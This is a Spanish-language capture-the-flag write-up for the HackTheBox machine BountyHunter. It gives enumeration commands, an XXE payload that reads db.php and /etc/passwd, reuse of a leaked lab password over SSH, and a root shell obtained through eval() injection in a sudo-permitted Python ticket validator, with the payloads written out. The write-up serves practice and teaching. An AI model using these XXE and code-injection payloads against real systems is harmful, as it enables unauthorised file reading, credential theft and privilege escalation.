BountyHunter
| Plataforma | HackTheBox |
|---|---|
| Dificultad | 📗 Fácil |
| Sistema operativo | 🐧 Linux🌐 Web |
| Estado | Terminada |
| User flag | |
| Root flag | |
| Técnicas | #web#ssh#linux#privesc |
| Extensión | 347 palabras · 2 min |
| Máquina original | https://app.hackthebox.com/machines/BountyHunter |
Resumen
<!-- 2-3 frases: qué vulnerabilidad da acceso y cómo se escala. Este bloque es lo primero que lee cualquiera (y lo que citan los buscadores). -->Reconocimiento
bashnmap $(target) -A -T5 -p- --min-rate 5000
Puertos abiertos:
| Puerto | Servicio | Versión |
|---|---|---|
| 22 | SSH | OpenSSH 8.2p1 |
| 80 | HTTP | Apache httpd 2.4.41 |
Enumeración
<!-- Qué encuentras en cada servicio y qué descartas. -->bash1╰─ gobuster dir -u http://$(target)/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 300 -x php,html,txt,bak,js 2=============================================================== 3Gobuster v3.8.2 4by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) 5=============================================================== 6[+] Url: http://10.129.95.166/ 7[+] Method: GET 8[+] Threads: 300 9[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 10[+] Negative Status codes: 404 11[+] User Agent: gobuster/3.8.2 12[+] Extensions: txt,bak,js,php,html 13[+] Timeout: 10s 14=============================================================== 15Starting gobuster in directory enumeration mode 16=============================================================== 17index.php (Status: 200) [Size: 25169] 18resources (Status: 301) [Size: 318] [--> http://10.129.95.166/resources/] 19assets (Status: 301) [Size: 315] [--> http://10.129.95.166/assets/] 20portal.php (Status: 200) [Size: 125] 21css (Status: 301) [Size: 312] [--> http://10.129.95.166/css/] 22db.php (Status: 200) [Size: 0] 23js (Status: 301) [Size: 311] [--> http://10.129.95.166/js/]
Lo interesante se centra en db.php y portal.php. Entrando a db no encontramos nada, pero en portal tenemos una página que nos lleva a un formulario.

http1POST /tracker_diRbPr00f314.php HTTP/1.1 2Host: 10.129.95.166 3User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 4Accept: */* 5Accept-Language: en-US,en;q=0.5 6Accept-Encoding: gzip, deflate, br 7Content-Type: application/x-www-form-urlencoded; charset=UTF-8 8X-Requested-With: XMLHttpRequest 9Content-Length: 219 10Origin: http://10.129.95.166 11Connection: keep-alive 12Referer: http://10.129.95.166/log_submit.php 13Priority: u=0 14 15data=PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5QcnVlYmE8L3RpdGxlPgoJCTxjd2U%2BMTA8L2N3ZT4KCQk8Y3Zzcz4xMDwvY3Zzcz4KCQk8cmV3YXJkPjMwMDwvcmV3YXJkPgoJCTwvYnVncmVwb3J0Pg%3D%3D
El param data es un base64 que podemos decodificar con burp
xml1<?xml version="1.0" encoding="ISO-8859-1"?> 2 <bugreport> 3 <title>Prueba</title> 4 <cwe>10</cwe> 5 <cvss>10</cvss> 6 <reward>300</reward> 7 </bugreport>
Ahí manda lo que mandamos en el formulario. Bastante problable estamos ante algún tipo de XXE.
Explotación
Estamos ante un XXE, una vez comprobado que podemos leer ficheros como /etc/passwd vamos a intentar leer el archivo db.php
xml1<?xml version="1.0" encoding="ISO-8859-1"?> 2<!DOCTYPE bugreport [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=db.php"> ]> 3<bugreport> 4<title>&xxe;</title> 5<cwe>10</cwe> 6<cvss>10</cvss> 7<reward>300</reward> 8</bugreport> 9

Codificado a base64 -> url encoded
php1<?php 2// TODO -> Implement login system with the database. 3$dbserver = "localhost"; 4$dbname = "bounty"; 5$dbusername = "admin"; 6$dbpassword = "m19RoAU0hP41A1sTsq6K";
Puesto que /etc/passwd es
txt1root:x:0:0:root:/root:/bin/bash 2daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 3bin:x:2:2:bin:/bin:/usr/sbin/nologin 4sys:x:3:3:sys:/dev:/usr/sbin/nologin 5sync:x:4:65534:sync:/bin:/bin/sync 6games:x:5:60:games:/usr/games:/usr/sbin/nologin 7man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 8lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 9mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 10news:x:9:9:news:/var/spool/news:/usr/sbin/nologin 11uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 12proxy:x:13:13:proxy:/bin:/usr/sbin/nologin 13www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 14backup:x:34:34:backup:/var/backups:/usr/sbin/nologin 15list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin 16irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin 17gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin 18nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin 19systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin 20systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin 21systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin 22messagebus:x:103:106::/nonexistent:/usr/sbin/nologin 23syslog:x:104:110::/home/syslog:/usr/sbin/nologin 24_apt:x:105:65534::/nonexistent:/usr/sbin/nologin 25tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false 26uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin 27tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin 28landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin 29pollinate:x:110:1::/var/cache/pollinate:/bin/false 30sshd:x:111:65534::/run/sshd:/usr/sbin/nologin 31systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin 32development:x:1000:1000:Development:/home/development:/bin/bash 33lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false 34usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
El usuario es development y la flag por convención es user.txt o flag.txt
Acceso a usuario development
Tras haber probado a leer /home/development/flag.txt y user.txt y no dar resultado, me doy cuenta que realmente el estar con www-data hacía que no tuviera los permisos necesarios para ello.
Era más simple que todo eso, intentar entrar por ssh usando la pass encontrada en db.php.
bashssh development@10.129.95.166 # pass: m19RoAU0hP41A1sTsq6K # OK
Ahora si leemos user.flag y un mensaje escrito en el directorio del usuario
Escalada de privilegios
Ejecutando sudo -l y habiendo leído el txt que dejó sabemos que hay un script que se podrá realizar alguna acción.
bashsudo -l User development may run the following commands on bountyhunter: (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Si hacemos un cat a ese archivo vemos una linea interesante
pythonvalidationNumber = eval(x.replace("**", ""))
La función eval es vulnerable a injección de código. Así pues simplemente creando un markdown que cumpla las condiciones del script y solicitando /bin/bash obtendremos una bash como root.
exploit# Skytrain Inc ## Ticket to Nowhere __Ticket Code:__ **11 + __import__('os').system('/bin/bash')**
Las condiciones del script eran:
-
Archivo markdown
-
Comprueba que empieza con # Skytrain Inc
-
La segunda linea cotiene la frase ## Ticket to ...
-
La tercera linea tiene Ticket Code:
-
Y la cuarta debe empezar por ** y cumplir dos condiciones matemáticas:
-
El primer número antes de un signo + (tras quitar los **) al dividirlo entre 7 debe dar residuo 4 (int(ticketCode) % 7 == 4). Por ejemplo, el número 11 o 18.
-
Evalúa toda la línea con la función eval(): si el resultado es mayor a 100, da el ticket por válido.
-
Basta con ejecutar el comando sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py e indicar la ruta de exploit.md y ya obtendriamos una bash como root, consiguiendo así la flag.
